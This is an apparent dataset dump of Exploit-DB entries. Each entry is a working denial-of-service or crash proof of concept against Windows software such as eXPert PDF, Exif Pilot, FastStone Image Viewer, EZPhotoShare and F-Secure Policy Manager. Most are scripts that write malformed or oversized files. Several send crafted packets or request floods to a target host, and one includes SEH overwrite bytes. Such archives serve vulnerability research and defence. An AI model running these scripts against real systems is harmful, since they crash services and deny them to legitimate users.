deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46003
Description: Exel Password Recovery 8.2.0.0 - Local Buffer Overflow Denial of Service
Type: dos
Platform: windows
Date: 2018-12-18
Author: Achilles

Exploit:
# Exploit Title: Excel Password Recovery Professional 
# Date: 15-12-2018 
# Vendor Homepage:https://www.recoverlostpassword.com/
# Software Link :https://www.recoverlostpassword.com/downloads/excel_password_recovery_pro_trial.exe
# Exploit Author: Achilles
# Tested Version: 8.2.0.0
# Tested on: Windows 7 64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : Excel_Password_Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Excel Password Recovery Professional
# 4.- Paste the content of EVIL.txt into the field: 'E-Mail and Registrations Code'
# 5.- Click 'Register' and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 5000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #35870
Description: Exif Pilot 4.7.2 - Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2015-01-22
Author: Osanda Malith Jayathissa

Exploit:
#!/usr/bin/env ruby
# Exploit Title: Exif Pilot SEH Based Buffer Overflow
# Version: version 4.7.2
# Download: http://www.colorpilot.com/load/exif.exe
# Tested on: Windows XP sp2
# Exploit Author: Osanda M. Jayathissa
# E-Mail: osanda[cat]unseen.is 

=begin
Click Tools > Options > Customize 35mm tab > Import > and choose "output.xml".
The p/p/r addresses contains null characters. 
=end
require 'rex'

def generate_content(padding1_len, padding2_len)
  header = "\xff\xfe"
  header << Rex::Text.to_unicode("<?xml version=\"1.0\" encoding=\"UTF-16\" ?>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("<efls>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("     <eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <maker>");
  header << Rex::Text.to_unicode("");

  for i in 0..padding1_len
    header << Rex::Text.to_unicode("A");
  end

  header << "\xeb\x00\x06\x00\x90\x00\x90\x00" #nSEH
  header << Rex::Text.to_unicode("CCCC"); #SEH

  for i in 0..padding2_len
    header << Rex::Text.to_unicode("A");
  end

  header << "\x0d\x00\x0a\x00\x09\x00\x09\x00"
  header << Rex::Text.to_unicode("  </maker>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <model>abc</model>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <factor>0.000000</factor>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("    </eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("</efls>")
  header << "\x0d\x00\x0a\x00"
  return header
end

##
# main
##

filename = 'output.xml'
output_handle = File.new(filename, 'wb')
if !output_handle
  $stdout.puts "Cannot open the file #{filename} for writing!"
  exit -1
end

header = generate_content(1619, 7000)

$stdout.puts "Generating file #{filename}"
output_handle.puts   header
output_handle.close

$stdout.puts "Done!"
exit 0
#EOF
Exploit-DB #35656
Description: eXPert PDF 7.0.880.0 - '.pj' Heap Buffer Overflow
Type: dos
Platform: windows
Date: 2011-04-25
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47571/info

eXPert PDF is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds check user-supplied data before copying it into an insufficiently sized buffer.

An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions. 

#!/usr/bin/perl
sub logo {
print STDERR << "EOF";
		                                                               
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

EOF
}
# ---------
# eXPert PDF Editor 7 Professional Heap Proof Of Concept Exploit
# Author : KedAns-Dz <ked-h@hotmail.com || ked-h@exploit-id.com>
# special thanks to : Inj3ct0r Team + exploit-id Team
# ---------
# Target : eXPert PDF Editor v7.0.880.0
# Tested in Windows XP sp3 France
# Creating The Bad File .PJ And => Bo0M !
# Heap 0x0174EC24 in 'vspdfeditor140.bpl' . addres 00000008
my $PoC = "\x4b\x45\x44\x41\x4e\x53"; # NULL Heap PoC
open (FILE,">> KedAns.pj"); # Bad File Here
print FILE $PoC;
close (FILE);
# KedAns-Dz | [D] HaCkerS-StreeT-Team [Z] |!| http://twitter.com/kedans
Exploit-DB #35502
Description: eXPert PDF Batch Creator 7.0.880.0 - Denial of Service
Type: dos
Platform: windows
Date: 2011-03-27
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47040/info

eXPert PDF is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the application to crash, denying service to legitimate users.

eXPert PDF 7.0.880.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl

###
# Title : eXPert PDF Batch Creator v7 Denial of Service Exploit
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria [PII_REDACTED]8701)
# Twitter page : twitter.com/kedans
# platform : Windows 
# Impact : Blocked 'vsbatch2pdf.exe' When Generate
# Tested on : Windows XP SP3 Fran�ais 
# Target : eXPert PDF Editor v7.0.880.0
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
# Usage : Upload The HTML file in eXPert PDF Batch Creator (vsbatch2pdf.exe) And Start The Generate
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |=============================================|\n";
print "    |= [!] Name : eXPert PDF Batch Creator v7    =|\n";
print "    |= [!] Exploit : Denial of Service Exploit   =|\n";
print "    |= [!] Author : KedAns-Dz                    =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com        =|\n";
print "    |=============================================|\n";
sleep(2);
print "\n";
my $junk = "http://"."\x41" x 17425;
open(file , ">", "Kedans.html"); 
print file $junk;
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close(file); 

#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX 
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * x000.com 
# www.metasploit.com * www.securityreason.com *  All Security and Exploits Webs ...
#================================================================================================
Exploit-DB #16248
Description: eXPert PDF Reader 4.0 - Null Pointer Dereference and Heap Corruption
Type: dos
Platform: windows
Date: 2011-02-26
Author: LiquidWorm

Exploit:
#!/usr/local/bin/perl
#
#
# eXPert PDF Reader 4.0 NULL Pointer Dereference and Heap Corruption Denial Of Service
#
#
# Vendor: Visagesoft
# Product web page: http://www.visagesoft.com
# Affected version: 4.0.210
#
# Summary: eXPert PDF Reader is a free pdf viewer software that lets you view and print
# pdf documents on windows operating systems.
#
# Desc: The vulnerability is caused due to a NULL pointer dereference when processing
# malicious Printer Job (.pj) files and can be exploited to crash the application and
# cause a heap corruption and denial of service scenarios.
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
#
# ----------------------------------------------------------------------------------
#
# HEAP[vspdfreader.exe]: Invalid allocation size - 82828290 (exceeded 7ffdefff)
# (77c.d48): Unknown exception - code 0eedfade (first chance)
# (77c.d48): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000001 ebx=02d7a188 ecx=00bd311c edx=00000002 esi=00000002 edi=0012fe24
# eip=00446cc9 esp=0012fb6c ebp=0012fb84 iopl=0         nv up ei ng nz ac pe cy
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210297
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x46cc9:
# 00446cc9 8b04b0          mov     eax,dword ptr [eax+esi*4] ds:0023:00000009=????????
#
# image00400000+0x46cc9:
# 00446cc9 8b04b0          mov     eax,dword ptr [eax+esi*4]
# 00446ccc 5e              pop     esi
# 00446ccd 5b              pop     ebx
# 00446cce c3              ret
# 00446ccf 90              nop
# 00446cd0 8bc8            mov     ecx,eax
# 00446cd2 b201            mov     dl,1
# 00446cd4 a1f48d4300      mov     eax,dword ptr [image00400000+0x38df4 (00438df4)]
#
# image00400000+0x38df4:
# 00438df4 4c              dec     esp
# 00438df5 8e4300          mov     es,word ptr [ebx]
# 00438df8 0000            add     byte ptr [eax],al
# 00438dfa 0000            add     byte ptr [eax],al
# 00438dfc 0000            add     byte ptr [eax],al
# 00438dfe 0000            add     byte ptr [eax],al
# 00438e00 0000            add     byte ptr [eax],al
# 00438e02 0000            add     byte ptr [eax],al
#
# ----------------------------------------------------------------------------------
#
# Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.mk
#
# Advisory ID: ZSL-2011-5000
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5000.php
#
#
# 25.02.2011
#

my $file = "dniz0r.pj";
my $data = ""; #my $data = "J" x(2+2);
open($FILE,">$file");
print $FILE $data;
close($FILE);
print "\npj File Created successfully\n";
Exploit-DB #23412
Description: EZPhotoShare 1.0/1.1 - Memory Corruption
Type: dos
Platform: windows
Date: 2003-12-03
Author: Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/9150/info

eZphotoshare has been reported prone to multiple remote memory corruption vulnerabilities. The issues present themselves in the routines employed by eZphotoshare to handle network based communications. It has been reported that a remote attacker may overrun the bounds of a reserved buffer in eZphotoshare process memory by transmitting a number of malicious packets to the host that is running eZphotoshare.

This activity will ultimately result in the corruption of variables that are saved adjacent to the affected buffer. These variables are crucial to the operation of the vulnerable software.

#
#!/usr/bin/perl -w
#
# Heap Corruption Vulnerability in eZphotoshare PoC
#  - by Peter Winter-Smith [peter4020@hotmail.com]

use IO::Socket;

if(!($ARGV[0]))
{
print "Usage: eZpsheap.pl <victim>\n\n";
exit;
}

print "Heap Corruption PoC\n";

for($n=1;$n<9;$n++){

$victim = IO::Socket::INET->new(Proto=>'tcp',
                               PeerAddr=>$ARGV[0],
                               PeerPort=>"10101")
                           or die "Unable to connect to $ARGV[0] on port 10101";

$eax = "ABCD";
$ecx = "XXXX";

$packet = "GET /aaa" . $eax . $ecx . "a"x64;

print $victim $packet;

print " + Sending packet number $n of 8 ...\n";

sleep(1);

close($victim); }

print "Done.\n";
exit;
Exploit-DB #30104
Description: F-Secure Policy Manager 7.00 - 'FSMSH.dll' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-05-30
Author: David Maciejak

Exploit:
source: https://www.securityfocus.com/bid/24233/info

F-Secure Policy Manager is prone to a remote denial-of-service vulnerability because the application fails to propelry handle unexpected conditions.

Exploiting this issue allows remote attackers to crash affected applications, denying further service to legitimate users. The vendor states that this application is typically available only to internal networks, making remote exploits over the Internet less likely.

Versions of F-Secure Policy Manager prior to 7.01 are vulnerable. 

#
# This script was written by David Maciejak <david dot maciejak at gmail dot com>
#

if(description)
{
script_id(50000);

script_version("$Revision: 1.0 $");
script_name(english:"F-Secure Policy Manager Server fsmsh.dll module DoS");

desc["english"] = "
Synopsis :

The remote host is an F-Secure Policy Manager Server.

Description :

The remote host is running a version a F-Secure Policy Manager Server which
is vulnerable to a denial of service.
A malicious user can forged a request to query a MS-DOS device name through
fsmsh.dll CGI module causing the service to stop answer to legitimate users.

Solution :

Not available for now.

Risk factor :

High";

script_description(english:desc["english"]);
script_summary(english:"Detects F-Secure Policy Manager DoS flaw");

 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2007 David Maciejak");
 script_family(english:"Denial of Service");
 script_require_ports("Services/www", 80);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);
if ( ! port ) exit(0);
if(!get_port_state(port))exit(0);

if (safe_checks())
{
  # only check FSMSH.DLL version
  buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=GetVersion", port:port);
  r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
  if( r == NULL )exit(0);
  #this could generate false positive on Linux platform
  if ("7.00.7038" >< r ) {
   	 security_hole(port);
  }
  exit(0);  
}

buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=DownloadPackage&Type=25&Filename=\install\dbupdate\CON", port:port);
r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=GetVersion", port:port);
r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
if( r == NULL ) { 
	 security_hole(port);
}
Exploit-DB #16996
Description: Fake Webcam 6.1 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2011-03-17
Author: Anastasios Monachos

Exploit:
#!/usr/bin/ruby
#############################################################################
# Title:		Fake Webcam v.6.1 Local Crash PoC
# Impact: 		Crashes the process
# Tested on: 	Windows XP SP1/SP2 EN
# Target:  		Fake Webcam v.6.1
# Download Link:	http://www.fakewebcam.com/Download/setup.exe
# Author:		Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
# Greetz: 		offsec team, inj3ct0r team
#############################################################################
path = "c:\\a.wmv" #wmv/avi/flv/mpeg/mp4
f = open(path, "wb")
f.write("\x41" * 1000)
f.close()
Exploit-DB #9487
Description: Faslo Player 7.0 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-24
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# Faslo Player 7.0 (.m3u) Local Buffer Overflow PoC
# http://www.rspq.org/faslo/fs7setup.exe
############################################################
##EAX 41414141
##ECX 004A7CB0 faslow.004A7CB0
##EDX 00145920
##EBX 00000000
##ESP 0012F5B0
##EBP 0012FC84
##ESI 003F9BC9
##EDI 003F9BC9
##EIP 73DD526E MFC42.73DD526E
#############################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
##############################################################

# milw0rm.com [2009-08-24]
Exploit-DB #46929
Description: Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-24
Author: Achilles

Exploit:
# Exploit Title: Fast AVI MPEG Joiner Dos Exploit
# Date: 24.5.2019
# Vendor Homepage:http://www.alloksoft.com
# Software Link:  http://www.alloksoft.com/fast_avimpegjoiner.exe
# Exploit Author: Achilles
# Tested Version: 1.2.0812
# Tested on: Windows 7 x64 Sp1
#            Windows XP x86 Sp3


# 1.- Run python code :Joiner.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Fast AVI MPEG Joiner.exe
# 4.- Paste the content of EVIL.txt into the Field: 'License Name'
# 5.- Click 'Register'and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #34720
Description: Fast Image Resizer 098 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2014-09-20
Author: niko sec

Exploit:
#!/usr/bin/perl
#
# Title : Fast Image Resizer 098 Local Crash Poc
# Author: Niko
# Tested: Windows XP SP3 (En)
# Apps  : http://adionsoft.net/fastimageresize/FastImageResizer_098.exe
#
# EAX 00000000
# ECX 010422F8
# EDX 00000000
# EBX 00000000
# ESP 0012F658
# EBP 00000000
# ESI 010421A8
# EDI 01050000
# EIP 019849C1 fastim_1.019849C1
#########################################
my $file= "crash.png";
my $junk = "\x41" x 5000;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "png file created successfully\n";
Exploit-DB #1220
Description: Fastream NETFile Web Server 7.1.2 - 'HEAD' Denial of Service
Type: dos
Platform: windows
Date: 2005-09-16
Author: karak0rsan

Exploit:
#Fastream NETFile FTP/Web Server 7.1.2 Professional DoS Exploit
#Bug found by bratax ck
#Coded bY karak0rsan
#d0gma.org // unuver.com
#Greetz:hurby,phalaposher,l4m3r,Atak,spymaster,razor...

$host=$ARGV[0];
$port=$ARGV[1];

if(!$ARGV[1]){
       print "Fastream FTP/Web Server DoS\n";
       print "Coded by karak0rsan // unuver.com\n";
       print "Usage:perl $0 [target] [port]\n";
}

use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Couldn't Connect!\n";;
close($socket);
if($socket){
       print "\n";
       print "[+]Attacking..!\n";
       }

for($i= 0; $i < 100; $i++)
{
$socket1 = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, );
print $socket1 "HEAD / HTTP/1.0\r\n\r\n";
close($socket1);
}
print "Attack finished ;)\n";
exit();

#EoF

# milw0rm.com [2005-09-16]
Exploit-DB #6673
Description: FastStone Image Viewer 3.6 - '.BMP' Image Crash
Type: dos
Platform: windows
Date: 2008-10-05
Author: suN8Hclf

Exploit:
Name      : FastStone Image Viewer v3.6 (malformed bmp image) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.FastStone.org
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, all from #dark-coders and others;]

PoC:

#!/usr/local/bin/perl   
# Open file (File->Open) or simply click on the image miniature
# FastStone Image Viewer v3.6 simply crashes
# Tested on Windows 2000 SP4
#-----INFO----------------------
#EAX 00002847
#ECX 00000000
#EDX 00402818 dumped_F.00402818
#EBX 00402818 dumped_F.00402818
#ESP 00402818 dumped_F.00402818
#EBP 0012DF08
#ESI 00402818 dumped_F.00402818
#EDI 000161E8
#EIP 012F0447
#
#Reason: "Access violation when writing to [00002847]
#-----INFO----------------------

my $code="\x42\x4d\x3c\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00".
         "\x00\x00\xcc\x5f\x01\x00\xe8\x61\x01\x00\x01\x00\x18\x00\x00\x00".
         "\x00\x00\x06\x00\x00\x00\x98\x9e\x00\x00\x88\x77\x00\x00\xff\x02".
         "\xfd\x00\x00\x00\x00\x00\x41";
my $file="open_me.bmp";

open(my $FILE, ">>$file") or die "[!]Cannot open file";
print $FILE $code;
close($FILE);
print "$file has been generated\n"
print "Credit: suN8Hclf, www.dark-coders.pl"

# milw0rm.com [2008-10-05]
Exploit-DB #36431
Description: FastStone Image Viewer 5.3 - '.tga' Crash (PoC)
Type: dos
Platform: windows
Date: 2015-03-19
Author: ITDefensor Vulnerability Research Team

Exploit:
# Exploit Title         : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC
# Product               : FastStoneImage Viewer
# Date                  : 25.02.2015
# Exploit Author        : ITDefensor Vulnerability Research Team http://itdefensor.ru/
# Software Link         : http://www.faststone.org/FSViewerDownload.htm
# Vulnerable version    : 5.3 (Latest at the moment) and probably previous versions
# Vendor Homepage       : http://www.faststone.org/
# Tested on             : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008
# CVE                   : unknown at the moment
#============================================================================================
# Open created POC file (poc.tga) with FastStoneImage Viewer
# Details
#*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000
#image00000000_00400000+0x9357:
#00409357 893a            mov     dword ptr [edx],edi  ds:002b:00e00880=????????
#0:000:x86> kb
#ChildEBP RetAddr  Args to Child              
#WARNING: Stack unwind information not available. Following frames may be wrong.
#0018f688 004ff000 0018f6b4 00[PII_REDACTED]f6ac image00000000_00400000+0x9357
#0018f6ac 00[PII_REDACTED]f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000
#0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374
#0018f72c 004257ee 0018f[PII_REDACTED]2 0018f758 image00000000_00400000+0x255a2
#============================================================================================
#!/usr/bin/perl -w

	$tga_id = "tga poc example" ;
	
	$tga_header =		"\xf" .				#	IDLength
						"\x00" .			#	ColorMapType
						"\xa" ;				#	ImageType
						
	$tga_cms_spec =		"\x00\x00" .		#	FirstIndexEntry
						"\x00\x00" .		#	ColorMapLength
						"\x00" ;			#	ColorMapEntrySize
	
	$tga_image_spec =	"\x00\x00" .		#	XOrigin
						"\x00\x00" .		#	YOrigin
						"\x00\xa0" .		#	Width		<--- ! Incorrect field, leads to application crash
						"\x80\x00" .		#	Height
						"\x10" .			#	PixelDepth
						"\x1" ;				#	ImageDescriptor
						
	$tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;				
	$tga = $tga_file_header . "a" x 10000 ;
	
	open FILE, ">poc.tga"	or die("Can't open poc.tga\n") ;
	binmode(FILE) ;
	print FILE $tga ;
	close FILE ;